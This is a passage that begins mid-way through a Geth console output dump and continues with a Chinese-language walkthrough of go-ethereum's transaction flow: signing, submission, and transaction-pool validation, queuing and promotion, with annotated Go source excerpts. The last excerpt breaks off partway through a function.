enr: "enr:-Je4QFYrz1dcrKYsGSKlFZARRs4T6pki558pyHzIb1294oLWfgVCCLANovQUjqPjxi7jqfHjS_Elg3BI97K7JyFtbVACg2V0aMfGhMmaRmeAgmlkgnY0gmlwhMCoiHWJc2VjcDI1NmsxoQP6wHKBQEklXrL0yMLDgRg9h-5RnZNgCFLNyr19w9kiTYN0Y3CCdl-DdWRwgnZf",
id: "8a2d0a9309f63565292f84e6286532af5abc27df6abfb93f49c0d2d077b9666d",
ip: "192.168.136.117",
listenAddr: "[::]:30303",
name: "Geth/v1.9.23-stable-8c2f2715/windows-amd64/go1.15",
ports: {
discovery: 30303,
listener: 30303
},
protocols: {
eth: {
config: {...},
difficulty: 2000,
genesis: "0xdc9866ac4601761e6b960e690eb144c03dd48e7125c99e14ecf0a0af5d739224",
head: "0xdc9866ac4601761e6b960e690eb144c03dd48e7125c99e14ecf0a0af5d739224",
network: 16
}
}
},
peers: [{
caps: ["eth/63"],
enode: "enode://8192f9e5cfa8fb73e914c39e830211ab2b98d6180df1cf009c1b1c9ddad3bb6d09d986db5ee125f4bb59c226014e72975f170c734774cc389ccb6e6f73fcce34@174.138.19.97:1234",
id: "f227374bcd5f39fff43a333f04cbe43393f5db0baf5eb4ebddd9c8a9ae6fdfbe",
name: "Geth/v1.0.0-stable-7e368c8e/linux-amd64/go1.12.10",
network: {
inbound: false,
localAddress: "192.168.1.118:50638",
remoteAddress: "174.138.19.97:1234",
static: false,
trusted: false
},
protocols: {
eth: "handshake"
}
}, {
caps: ["eth/63", "eth/64", "eth/65"],
enode: "enode://5928e6c7a1b9c90014b5b5ef5fbd305636b477f2e35b5c608ed7fae82e0ea3295be2c716ec50de640e5b0665c44f652cde5c9f3a6e4bcf134657a6944cd91d39@149.5.29.162:30303",
id: "f24d4969e9e4f171b36d962f15ea1bc25b037731a99eee25887b02d1437d09ac",
name: "Pirl/v1.9.12-v7-masternode-premium-lion-ea07aebf-20200407/linux-amd64/go1.13.6",
network: {
inbound: false,
localAddress: "192.168.1.118:50661",
remoteAddress: "149.5.29.162:30303",
static: false,
trusted: false
},
protocols: {
eth: "handshake"
}
}],
addPeer: function(),
addTrustedPeer: function(),
clearHistory: function(),
exportChain: function(),
getDatadir: function(callback),
getNodeInfo: function(callback),
getPeers: function(callback),
importChain: function(),
removePeer: function(),
removeTrustedPeer: function(),
sleep: function(),
sleepBlocks: function(),
startRPC: function(),
startWS: function(),
stopRPC: function(),
stopWS: function()
}

personal
> personal
{
listAccounts: ["0xc59256c9f92d19e877d4a9931652ccbcd1260076"],
listWallets: [{
accounts: [{...}],
status: "Locked",
url: "keystore://D:\\gethData\\keystore\\UTC--2020-11-10T00-51-59.108912200Z--c59256c9f92d19e877d4a9931652ccbcd1260076"
}],
deriveAccount: function(),
ecRecover: function(),
getListAccounts: function(callback),
getListWallets: function(callback),
importRawKey: function(),
initializeWallet: function(),
lockAccount: function(),
newAccount: function(),
openWallet: function(),
sendTransaction: function(),
sign: function(),
signTransaction: function(),
unlockAccount: function(),
unpair: function()
}

miner
> miner
{
getHashrate: function(),
setEtherbase: function(),
setExtra: function(),
setGasPrice: function(),
setRecommitInterval: function(),
start: function(),
stop: function()
}

eth
> eth
{
accounts: ["0xc59256c9f92d19e877d4a9931652ccbcd1260076"],
blockNumber: 0,
coinbase: "0xc59256c9f92d19e877d4a9931652ccbcd1260076",
compile: {
lll: function(),
serpent: function(),
solidity: function()
},
defaultAccount: undefined,
defaultBlock: "latest",
gasPrice: 1000000000,
hashrate: 0,
mining: false,
pendingTransactions: [],
protocolVersion: "0x41",
syncing: false,
call: function(),
chainId: function(),
contract: function(abi),
estimateGas: function(),
fillTransaction: function(),
filter: function(options, callback, filterCreationErrorCallback),
getAccounts: function(callback),
getBalance: function(),
getBlock: function(),
getBlockByHash: function(),
getBlockByNumber: function(),
getBlockNumber: function(callback),
getBlockTransactionCount: function(),
getBlockUncleCount: function(),
getCode: function(),
getCoinbase: function(callback),
getCompilers: function(),
getGasPrice: function(callback),
getHashrate: function(callback),
getHeaderByHash: function(),
getHeaderByNumber: function(),
getMining: function(callback),
getPendingTransactions: function(callback),
getProof: function(),
getProtocolVersion: function(callback),
getRawTransaction: function(),
getRawTransactionFromBlock: function(),
getStorageAt: function(),
getSyncing: function(callback),
getTransaction: function(),
getTransactionCount: function(),
getTransactionFromBlock: function(),
getTransactionReceipt: function(),
getUncle: function(),
getWork: function(),
iban: function(iban),
icapNamereg: function(),
isSyncing: function(callback),
namereg: function(),
resend: function(),
sendIBANTransaction: function(),
sendRawTransaction: function(),
sendTransaction: function(),
sign: function(),
signTransaction: function(),
submitTransaction: function(),
submitWork: function()
}

以太坊源码分析 - 交易源码分析

目录

一 . 发起交易

1. 发送交易时参数的机构体对象

2. SendTransaction()方法介绍

2.1. toTransaction()方法

2.2. 调用wallet.SignTx(account, tx, chainID)对当前交易进行签名。

2.2.1 调用types.SignTx方法进行签名

2.2.2 调用WithSignature为交易设置签名

2.2.3 调用SignatureValues方法获取r,s,v字段

2.3 调用submitTransaction提交交易

二. 节点接收交易

1. 执行add方法将交易添加到交易池中

2. 调用validateTx验证交易

3. 调用pool.enqueueTx(hash, tx),将交易添加到待执行的交易队列中

3.1 调用queue的add方法替换交易

4. 调用promoteExecutables方法将交易插入到pending执行队列中

4.1 调用promoteTx将交易广播到其他节点

以太坊的交易的生命周期主要包括以下几部分:

\1. 用户发送交易

\2. 节点接收交易

\3. 执行交易

\4. 打包区块

\5. 矿工节点挖矿

\6. 区块广播,交易保存到链上

在当前博文里面主要包含,用户如何发起交易、以及交易的签名、交易发送到交易池中、交易池广播交易等

一 . 发起交易

​ 用户通过grpc接口调用go-ethereum\internal\ethapi 里面 PublicTransactionPoolAPI结构体里面的SendTransaction的方法发送交易,在该方法内部根据发送的地址获取当前用户的钱包信息,然后对生成交易对象,利用私钥对交易签名,最后提交交易。下面是对该方法的具体介绍

1. 发送交易时参数的机构体对象

参数
ctx:上下文信息
args:发送交易时的参数包含值(from,To,Gas,Gasprice,Value,Nonce,Data,Input)

1
2
3
4
5
6
7
8
9
10
11
12
13
//发送交易信息的结构体
type SendTxArgs struct {
From common.Address `json:"from"` //发送人
To *common.Address `json:"to"` //接收地址
Gas *hexutil.Uint64 `json:"gas"` //gas
GasPrice *hexutil.Big `json:"gasPrice"` //gasprice
Value *hexutil.Big `json:"value"` //交易的值
Nonce *hexutil.Uint64 `json:"nonce"` //交易的nonce
// We accept "data" and "input" for backwards-compatibility reasons. "input" is the
// newer name and should be preferred by clients.
Data *hexutil.Bytes `json:"data"`
Input *hexutil.Bytes `json:"input"`
}

2. SendTransaction()方法介绍

执行步骤
2.1 根据from参数获取账号
2.2 调用args.toTranscation方法生产交易tx对象
2.3 调用wallet.SignTx方法对当前交易进行签名
2.4 调用submitTransaction(ctx,s.b,signed)函数提交当前的交易

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
func (s *PublicTransactionPoolAPI) SendTransaction(ctx context.Context, args SendTxArgs) (common.Hash, error) {
account := accounts.Account{Address: args.From}
wallet, err := s.b.AccountManager().Find(account)
if err != nil {
return common.Hash{}, err
}
if args.Nonce == nil {
// Hold the addresse's mutex around signing to prevent concurrent assignment of
// the same nonce to multiple accounts.
s.nonceLock.LockAddr(args.From)
defer s.nonceLock.UnlockAddr(args.From)
}

if err := args.setDefaults(ctx, s.b); err != nil {
return common.Hash{}, err
}

//将当前的交易信息生成交易信息
tx := args.toTransaction()
var chainID *big.Int //获取当前区块链的ID
if config := s.b.ChainConfig(); config.IsEIP155(s.b.CurrentBlock().Number()) {
chainID = config.ChainID
}
//对当前的交易进行签名
signed, err := wallet.SignTx(account, tx, chainID)
if err != nil {
return common.Hash{}, err
}
return submitTransaction(ctx, s.b, signed)
}

2.1. toTransaction()方法

交易的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
以太坊交易的结构体
*/
type Transaction struct {
data txdata //交易的数据
// caches
hash atomic.Value
size atomic.Value
from atomic.Value
}
type txdata struct {
AccountNonce uint64 `json:"nonce" gencodec:"required"` //发送者发送交易数的计数
Price *big.Int `json:"gasPrice" gencodec:"required"` //发送者愿意支付执行交易所需的每个gas的Wei数量
GasLimit uint64 `json:"gas" gencodec:"required"` //发送者愿意为执行交易支付gas数量的最大值。这个数量被设置之后在任何计算完成之前就会被提前扣掉
Recipient *common.Address `json:"to" rlp:"nil"` // nil means contract creation 所使用的接收人的地址,如果为空的话,这说明是使用合约地址
Amount *big.Int `json:"value" gencodec:"required"` // 从发送者转移到接收者的Wei数量。在合约创建交易中,value作为新建合约账户的开始余额
Payload []byte `json:"input" gencodec:"required"` //在调用合约函数时input中保存的是合约函数的名称及参数,在部署合约时input中保持的是合约的abi,data及合约构造函数的参数
// Signature values
V *big.Int `json:"v" gencodec:"required"` //用于标识交易时产生的签名
R *big.Int `json:"r" gencodec:"required"` //用于标识交易时产生的签名
S *big.Int `json:"s" gencodec:"required"` //用于标识交易时产生的签名

// This is only used when marshaling to JSON.
Hash *common.Hash `json:"hash" rlp:"-"` //当前交易的hash
}

根据输入的参数生成Transaction对象,根据输入参数里面的to字段判端,如果to字段为空的话,则为合约交易,否则为正常交易

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
利用发送的信息生成新的交易
*/
func (args *SendTxArgs) toTransaction() *types.Transaction {
var input []byte
if args.Data != nil {
input = *args.Data
} else if args.Input != nil {
input = *args.Input
}
if args.To == nil {
return types.NewContractCreation(uint64(*args.Nonce), (*big.Int)(args.Value), uint64(*args.Gas), (*big.Int)(args.GasPrice), input)
}
return types.NewTransaction(uint64(*args.Nonce), *args.To, (*big.Int)(args.Value), uint64(*args.Gas), (*big.Int)(args.GasPrice), input)
}

2.2. 调用wallet.SignTx(account, tx, chainID)对当前交易进行签名。

​ 对交易签名分为利用硬件钱包签名和keystore签名,在本地我们讲的是利用keystore进行签名。代码路径:go-ethereum\accounts\keystore\keystore.go

主要步骤有:

  • 根据钱包地址,查看当前钱包是否已解锁
  • 如果已解锁的话,调用types.SignTx对交易进行签名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
func (ks *KeyStore) SignTx(a accounts.Account, tx *types.Transaction, chainID *big.Int) (*types.Transaction, error) {
// Look up the key to sign with and abort if it cannot be found
ks.mu.RLock()
defer ks.mu.RUnlock()
unlockedKey, found := ks.unlocked[a.Address]
if !found {
return nil, ErrLocked
}
// Depending on the presence of the chain ID, sign with EIP155 or homestead
if chainID != nil {
return types.SignTx(tx, types.NewEIP155Signer(chainID), unlockedKey.PrivateKey)
}
return types.SignTx(tx, types.HomesteadSigner{}, unlockedKey.PrivateKey)
}

2.2.1 调用types.SignTx方法进行签名

主要操作:

  • ​ 将当前交易进行hash
  • ​ 利用私钥对交易的hash值进行签名
  • ​ 调用tx.WithSignature(s, sig)方法,将交易的签名分别写到交易结构体里面 v,r,s字段
1
2
3
4
5
6
7
func SignTx(tx *Transaction, s Signer, prv *ecdsa.PrivateKey) (*Transaction, error) {
h := s.Hash(tx)
sig, err := crypto.Sign(h[:], prv)
if err != nil {
return nil, err
}
return tx.WithSignature(s, sig)

2.2.2 调用WithSignature为交易设置签名

主要步骤:

  • 调用签名笔的SignatureValues对象分别获取r,s,v字段
  • 将r,s,v字段设置到transation中,并返回交易
1
2
3
4
5
6
7
8
func (tx *Transaction) WithSignature(signer Signer, sig []byte) (*Transaction, error) {
r, s, v, err := signer.SignatureValues(tx, sig)
if err != nil {
return nil, err
}
cpy := &Transaction{data: tx.data}
cpy.data.R, cpy.data.S, cpy.data.V = r, s, v
return cpy, nil

2.2.3 调用SignatureValues方法获取r,s,v字段

主要操作:

  • 获取交易签名的前32位赋值给r
  • 获取交易签名的32-64位赋值给s
  • 获取交易签名的最后一位赋值为v
  • 返回r,s,v
1
2
3
4
5
6
7
8
9
func (fs FrontierSigner) SignatureValues(tx *Transaction, sig []byte) (r, s, v *big.Int, err error) {
if len(sig) != 65 {
panic(fmt.Sprintf("wrong size for signature: got %d, want 65", len(sig)))
}
r = new(big.Int).SetBytes(sig[:32])
s = new(big.Int).SetBytes(sig[32:64])
v = new(big.Int).SetBytes([]byte{sig[64] + 27})
return r, s, v, nil
}

2.3 调用submitTransaction提交交易

主要步骤:

  • 调用grpc SendTx发送交易到节点
  • 如果交易的to字段为空的话,根据发送者的地址和交易的nonce值,生成合约地址
  • 返回交易的hash值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
提交当前的交易
parama:执行交易的上下文,交易的接口,交易
return 交易的hash
*/
func submitTransaction(ctx context.Context, b Backend, tx *types.Transaction) (common.Hash, error) {
if err := b.SendTx(ctx, tx); err != nil { //发送交易
return common.Hash{}, err
}
if tx.To() == nil { //如果TO==nil,则为合约账户
//
signer := types.MakeSigner(b.ChainConfig(), b.CurrentBlock().Number())
from, err := types.Sender(signer, tx)
if err != nil {
return common.Hash{}, err
}
addr := crypto.CreateAddress(from, tx.Nonce()) //创建合约账号地址
log.Info("Submitted contract creation", "fullhash", tx.Hash().Hex(), "contract", addr.Hex())
} else {
log.Info("Submitted transaction", "fullhash", tx.Hash().Hex(), "recipient", tx.To())
}
return tx.Hash(), nil
}

二. 节点接收交易

以太坊的将新的交易添加到交易池时分两种情况:

  • 本地交易:如果是本地交易的话,当添加到交易池之后,交易的发送地址存会被放在locals列表里面,这个账户的关联的交易将不会因为价格的限制或者其他的一些限制被删除
  • 远程交易:远程发送来的交易为普通交易,交易可能会因为价格或者gas的限制等原因被从交易池里面的剔除

1. 执行add方法将交易添加到交易池中

主要步骤:

  • 检查当前交易是否在交易池里面已存在
  • 调用validateTx方法验证当前交易,如果验证没有通过的话直接丢弃
  • 查看当前交易池是否已满(5120),如果已经满了的话在交易池里面删除价格比较低的交易,如果当前交易的价格比较低的话直接拒绝接收
  • 查看当前交易是否已经在正在处理的交易列表里面,如果在看能否替换旧的交易,并将新的交易添加到交易池中,同时将当前交易广播给其他节点
  • 如果当前交易不能替换正在处理的交易列表(peeding),则将交易放在待处理的交易列表中(queue)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
func (pool *TxPool) add(tx *types.Transaction, local bool) (bool, error) {
// If the transaction is already known, discard it
hash := tx.Hash()
if pool.all[hash] != nil {
log.Trace("Discarding already known transaction", "hash", hash)
return false, fmt.Errorf("known transaction: %x", hash)
}
// If the transaction fails basic validation, discard it
// 如果交易不能通过基本的验证,那么丢弃它
if err := pool.validateTx(tx, local); err != nil {
log.Trace("Discarding invalid transaction", "hash", hash, "err", err)
invalidTxCounter.Inc(1)
return false, err
}
// If the transaction pool is full, discard underpriced transactions
// 如果交易池满了. 那么删除一些低价的交易.
if uint64(len(pool.all)) >= pool.config.GlobalSlots+pool.config.GlobalQueue {
// If the new transaction is underpriced, don't accept it
// 如果新交易本身就是低价的,不接收
if !local && pool.priced.Underpriced(tx, pool.locals) {
log.Trace("Discarding underpriced transaction", "hash", hash, "price", tx.GasPrice())
underpricedTxCounter.Inc(1)
return false, ErrUnderpriced
}
// New transaction is better than our worse ones, make room for it
// 否则删除低价的池给他腾空间
drop := pool.priced.Discard(len(pool.all)-int(pool.config.GlobalSlots+pool.config.GlobalQueue-1), pool.locals)
for _, tx := range drop {
log.Trace("Discarding freshly underpriced transaction", "hash", tx.Hash(), "price", tx.GasPrice())
underpricedTxCounter.Inc(1)
pool.removeTx(tx.Hash(), false)
}
}
// If the transaction is replacing an already pending one, do directly
//验证交易签名
from, _ := types.Sender(pool.signer, tx) // already validated
if list := pool.pending[from]; list != nil && list.Overlaps(tx) {
// Nonce already pending, check if required price bump is met
// 如果交易对应的Nonce已经在pending队列了,那么看是否能够替换.
inserted, old := list.Add(tx, pool.config.PriceBump)
if !inserted {
pendingDiscardCounter.Inc(1)
return false, ErrReplaceUnderpriced
}
// New transaction is better, replace old one
if old != nil {
delete(pool.all, old.Hash())
pool.priced.Removed()
pendingReplaceCounter.Inc(1)
}
pool.all[tx.Hash()] = tx
pool.priced.Put(tx)
pool.journalTx(from, tx)

log.Trace("Pooled new executable transaction", "hash", hash, "from", from, "to", tx.To())

// We've directly injected a replacement transaction, notify subsystems
//直接注入了一个替换事务,通知子系统
go pool.txFeed.Send(TxPreEvent{tx})

return old != nil, nil
}
// New transaction isn't replacing a pending one, push into queue
// 新交易不能替换pending里面的任意一个交易,那么把他push到futuren 队列里面.
replace, err := pool.enqueueTx(hash, tx)
if err != nil {
return false, err
}
// Mark local addresses and journal local transactions
if local {
pool.locals.add(from)
}
// 如果是本地的交易,会被记录进入journalTx
pool.journalTx(from, tx) //存到硬盘

log.Trace("Pooled new future transaction", "hash", hash, "from", from, "to", tx.To())
return replace, nil
}

2. 调用validateTx验证交易

主要步骤如下:

  • 检查交易的大小
  • 检查交易签名
  • 验证当前交易的gasprice是否小于交易池设置的gasPrice(本地交易不做此验证)
  • 验证交易的Nonce
  • 验证用户当前的余额是否足够
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// validateTx 使用一致性规则来检查一个交易是否有效,并采用本地节点的一些启发式的限制.
func (pool *TxPool) validateTx(tx *types.Transaction, local bool) error {
// Heuristic limit, reject transactions over 32KB to prevent DOS attacks
if tx.Size() > 32*1024 {
return ErrOversizedData
}
// Transactions can't be negative. This may never happen using RLP decoded
// transactions but may occur if you create a transaction using the RPC.
if tx.Value().Sign() < 0 {
return ErrNegativeValue
}
// Ensure the transaction doesn't exceed the current block limit gas.
if pool.currentMaxGas < tx.Gas() {
return ErrGasLimit
}
// Make sure the transaction is signed properly
// 确保交易被正确签名.
from, err := types.Sender(pool.signer, tx)
if err != nil {
return ErrInvalidSender
}
// Drop non-local transactions under our own minimal accepted gas price
// 如果不是本地的交易,并且GasPrice低于我们的设置,那么也不会接收.
local = local || pool.locals.contains(from) // account may be local even if the transaction arrived from the network
if !local && pool.gasPrice.Cmp(tx.GasPrice()) > 0 {
return ErrUnderpriced
}
// Ensure the transaction adheres to nonce ordering
// 确保交易遵守了Nonce的顺序,账户的nonce
if pool.currentState.GetNonce(from) > tx.Nonce() {
return ErrNonceTooLow
}
// Transactor should have enough funds to cover the costs
// cost == V + GP * GL
// 确保用户有足够的余额来支付.
if pool.currentState.GetBalance(from).Cmp(tx.Cost()) < 0 {
return ErrInsufficientFunds
}

intrGas, err := IntrinsicGas(tx.Data(), tx.To() == nil, pool.homestead)
if err != nil {
return err
}
// 如果交易是一个合约创建或者调用. 那么看看是否有足够的 初始Gas.
if tx.Gas() < intrGas {
return ErrIntrinsicGas
}
return nil
}

3. 调用pool.enqueueTx(hash, tx),将交易添加到待执行的交易队列中

主要操作:

  • 验证交易签名
  • 调用queue的add方法替换该账户中比较老的未执行的交易
  • 将当前交易添加到所有交易池中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 将一个新的交易插入到future queue
func (pool *TxPool) enqueueTx(hash common.Hash, tx *types.Transaction) (bool, error) {
// Try to insert the transaction into the future queue
from, _ := types.Sender(pool.signer, tx) // already validated 验证签名
if pool.queue[from] == nil {
pool.queue[from] = newTxList(false) //如果pool.queue不存在当前地址
}
inserted, old := pool.queue[from].Add(tx, pool.config.PriceBump)
if !inserted {
// An older transaction was better, discard this
queuedDiscardCounter.Inc(1)
return false, ErrReplaceUnderpriced
}
// Discard any previous transaction and mark this
if old != nil {
delete(pool.all, old.Hash())
pool.priced.Removed()
queuedReplaceCounter.Inc(1)
}
if pool.all[hash] == nil {
pool.all[hash] = tx
pool.priced.Put(tx)
}
return old != nil, nil
}

3.1 调用queue的add方法替换交易

  • 如果新的交易比老的交易的GasPrice值要高出一定的比值priceBump,那么会替换老的交易。
  • Add 尝试插入一个新的交易,返回交易是否被接收,如果被接收,那么任意之前的交易会被替换。
  • 如果新的交易被接收,那么总的cost和gas限制会被更新。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
func (l *txList) Add(tx *types.Transaction, priceBump uint64) (bool, *types.Transaction) {
// If there's an older better transaction, abort
// 如果存在老的交易。 而且新的交易的价格比老的高出一定的数量。那么替换。
old := l.txs.Get(tx.Nonce())
if old != nil {
threshold := new(big.Int).Div(new(big.Int).Mul(old.GasPrice(), big.NewInt(100+int64(priceBump))), big.NewInt(100))
// Have to ensure that the new gas price is higher than the old gas
// price as well as checking the percentage threshold to ensure that
// this is accurate for low (Wei-level) gas price replacements
if old.GasPrice().Cmp(tx.GasPrice()) >= 0 || threshold.Cmp(tx.GasPrice()) > 0 {
return false, nil
}
}
// Otherwise overwrite the old transaction with the current one
l.txs.Put(tx)
if cost := tx.Cost(); l.costcap.Cmp(cost) < 0 {
l.costcap = cost
}
if gas := tx.Gas(); l.gascap < gas {
l.gascap = gas
}
return true, old
}

4. 调用promoteExecutables方法将交易插入到pending执行队列中

调用promoteExecutables把已经变得可以执行交易的从queue 列表插入到pending 列表流程如下:

img

(1) 粉色部分主要是为了把queue中的交易“提”到pending中。在此过程中要做如下检查

  • ​ 丢弃nonce < 账户当前nonce的交易,也就是已经被打包过的交易
  • ​ 丢弃转账金额 + gas消耗 > 账户余额的交易,也就是会out-of-gas的交易
  • ​ 丢弃gas limit > block gas limit的交易,这部分交易可能会导致区块生成失败
  • ​ 得到所有的可以执行的交易,并promoteTx加入pending并且广播交易

(2) 紫色部分主要是为了清理pending列表,使其满足GlobalSlots和AccountSlots的限制条件,需要从以下几个角度进行处理:

  • ​ 如果有些账户的交易数超过了AccountSlots,则先按交易数最少的账户进行均衡。举例来说,如果有10个账户交易数超过了AccountSlots(默认16),其中交易数最少的账户包含20笔交易,那么先把其他9个账户的交易数量削减到20。
  • 如果经过上面的步骤,pending的长度还是超过了GlobalSlots,那就严格按照AccountSlots进行均衡,也就是把上面的10个账户的交易数进一步削减到16

(3) 绿色部分主要是为了清理queue列表,使其满足GlobalQueue和AccountQueue的限制条件,需要从以下几个角度进行处理:

  • ​ 如果每个账户的交易数超过了AccountQueue,丢弃多余交易
  • ​ 如果queue的长度超过了GlobalQueue,则把账户按最后一次心跳时间排序,然后依次去除账户中的交易,直到满足限制条件位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
// 通过这个处理过程,所有的无效的交易(nonce太低,余额不足)会被删除。
func (pool *TxPool) promoteExecutables(accounts []common.Address) {
// Gather all the accounts potentially needing updates
// accounts存储了所有潜在需要更新的账户。 如果账户传入为nil,代表所有已知的账户。
if accounts == nil {
accounts = make([]common.Address, 0, len(pool.queue))
for addr := range pool.queue {
accounts = append(accounts, addr)
}
}
// Iterate over all accounts and promote any executable transactions
for _, addr := range accounts {
list := pool.queue[addr]
if list == nil {
continue // Just in case someone calls with a non existing account
}
// Drop all transactions that are deemed too old (low nonce)
// 删除所有的nonce太低的交易
for _, tx := range list.Forward(pool.currentState.GetNonce(addr)) {
hash := tx.Hash()
log.Trace("Removed old queued transaction", "hash", hash)
delete(pool.all, hash)
pool.priced.Removed()
}
// Drop all transactions that are too costly (low balance or out of gas)
// 删除所有余额不足的交易。
drops, _ := list.Filter(pool.currentState.GetBalance(addr), pool.currentMaxGas)
for _, tx := range drops {
hash := tx.Hash()
log.Trace("Removed unpayable queued transaction", "hash", hash)
delete(pool.all, hash)
pool.priced.Removed()
queuedNofundsCounter.Inc(1)
}
// Gather all executable transactions and promote them
// 得到所有的可以执行的交易,并promoteTx加入pending
for _, tx := range list.Ready(pool.pendingState.GetNonce(addr)) {
hash := tx.Hash()
log.Trace("Promoting queued transaction", "hash", hash)
pool.promoteTx(addr, hash, tx)
}
// Drop all transactions over the allowed limit
// 删除所有超过限制的交易
if !pool.locals.contains(addr) {
for _, tx := range list.Cap(int(pool.config.AccountQueue)) {
hash := tx.Hash()
delete(pool.all, hash)
pool.priced.Removed()
queuedRateLimitCounter.Inc(1)
log.Trace("Removed cap-exceeding queued transaction", "hash", hash)
}
}
// Delete the entire queue entry if it became empty.
if list.Empty() {
delete(pool.queue, addr)
}
}
// If the pending limit is overflown, start equalizing allowances
pending := uint64(0)
for _, list := range pool.pending {
pending += uint64(list.Len())
}
// 如果pending的总数超过系统的配置。
if pending > pool.config.GlobalSlots {
pendingBeforeCap := pending
// Assemble a spam order to penalize large transactors first
spammers := prque.New()
for addr, list := range pool.pending {
// Only evict transactions from high rollers
// 首先把所有大于AccountSlots最小值的账户记录下来, 会从这些账户里面剔除一些交易。
// 注意spammers是一个优先级队列,也就是说是按照交易的多少从大到小排序的。
if !pool.locals.contains(addr) && uint64(list.Len()) > pool.config.AccountSlots {
spammers.Push(addr, float32(list.Len()))
}
}
// Gradually drop transactions from offenders
offenders := []common.Address{}
for pending > pool.config.GlobalSlots && !spammers.Empty() {
// Retrieve the next offender if not local address
offender, _ := spammers.Pop()
offenders = append(offenders, offender.(common.Address))

// Equalize balances until all the same or below threshold
if len(offenders) > 1 { // 第一次进入这个循环的时候, offenders队列里面有交易数量最大的两个账户
// Calculate the equalization threshold for all current offenders
// 把最后加入的账户的交易数量当成本次的阈值t
threshold := pool.pending[offender.(common.Address)].Len()

// Iteratively reduce all offenders until below limit or threshold reached
// 遍历直到pending有效,或者是倒数第二个的交易数量等于最后一个的交易数量
for pending > pool.config.GlobalSlots && pool.pending[offenders[len(offenders)-2]].Len() > threshold {
// 遍历除了最后一个账户以外的所有账户, 把他们的交易数量减去1.
for i := 0; i < len(offenders)-1; i++ {
list := pool.pending[offenders[i]]
for _, tx := range list.Cap(list.Len() - 1) {
// Drop the transaction from the global pools too
hash := tx.Hash()
delete(pool.all, hash)
pool.priced.Removed()

// Update the account nonce to the dropped transaction
if nonce := tx.Nonce(); pool.pendingState.GetNonce(offenders[i]) > nonce {
pool.pendingState.SetNonce(offenders[i], nonce)
}
log.Trace("Removed fairness-exceeding pending transaction", "hash", hash)
}
pending--
}
}
}
}
// If still above threshold, reduce to limit or min allowance
if pending > pool.config.GlobalSlots && len(offenders) > 0 {
for pending > pool.config.GlobalSlots && uint64(pool.pending[offenders[len(offenders)-1]].Len()) > pool.config.AccountSlots {
for _, addr := range offenders {
list := pool.pending[addr]
for _, tx := range list.Cap(list.Len() - 1) {
// Drop the transaction from the global pools too
hash := tx.Hash()
delete(pool.all, hash)
pool.priced.Removed()

// Update the account nonce to the dropped transaction
if nonce := tx.Nonce(); pool.pendingState.GetNonce(addr) > nonce {
pool.pendingState.SetNonce(addr, nonce)
}
log.Trace("Removed fairness-exceeding pending transaction", "hash", hash)
}
pending--
}
}
}
pendingRateLimitCounter.Inc(int64(pendingBeforeCap - pending))
}
// If we've queued more transactions than the hard limit, drop oldest ones
queued := uint64(0)
for _, list := range pool.queue {
queued += uint64(list.Len())
}
if queued > pool.config.GlobalQueue {
// Sort all accounts with queued transactions by heartbeat
addresses := make(addresssByHeartbeat, 0, len(pool.queue))
for addr := range pool.queue {
if !pool.locals.contains(addr) { // don't drop locals
addresses = append(addresses, addressByHeartbeat{addr, pool.beats[addr]})
}
}
sort.Sort(addresses)

// Drop transactions until the total is below the limit or only locals remain
for drop := queued - pool.config.GlobalQueue; drop > 0 && len(addresses) > 0; {
addr := addresses[len(addresses)-1]
list := pool.queue[addr.address]

addresses = addresses[:len(addresses)-1]

// Drop all transactions if they are less than the overflow
if size := uint64(list.Len()); size <= drop {
for _, tx := range list.Flatten() {
pool.removeTx(tx.Hash(), true)
}
drop -= size
queuedRateLimitCounter.Inc(int64(size))
continue
}
// Otherwise drop only last few transactions
txs := list.Flatten()
for i := len(txs) - 1; i >= 0 && drop > 0; i-- {
pool.removeTx(txs[i].Hash(), true)
drop--
queuedRateLimitCounter.Inc(1)
}
}
}
}

4.1 调用promoteTx将交易广播到其他节点

主要步骤如下:

  • 获取正在执行队列中该地址的所有交易
  • 用当前交易替换已存在的比较老的交易
  • 如果交易池中不存在当前交易,将该交易添加到all队列中
  • 设置更新交易的nonce
  • 最后调用grpc接口,将交易广播到其他节点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func (pool *TxPool) promoteTx(addr common.Address, hash common.Hash, tx *types.Transaction) {
// Try to insert the transaction into the pending queue
if pool.pending[addr] == nil {
pool.pending[addr] = newTxList(true)
}
list := pool.pending[addr]
inserted, old := list.Add(tx, pool.config.PriceBump)
if !inserted {
// An older transaction was better, discard this
delete(pool.all, hash)
pool.priced.Removed()
pendingDiscardCounter.Inc(1)
return
}
// Otherwise discard any previous transaction and mark this
if old != nil {
delete(pool.all, old.Hash())
pool.priced.Removed()
pendingReplaceCounter.Inc(1)
}

// Failsafe to work around direct pending inserts (tests)
if pool.all[hash] == nil {
pool.all[hash] = tx
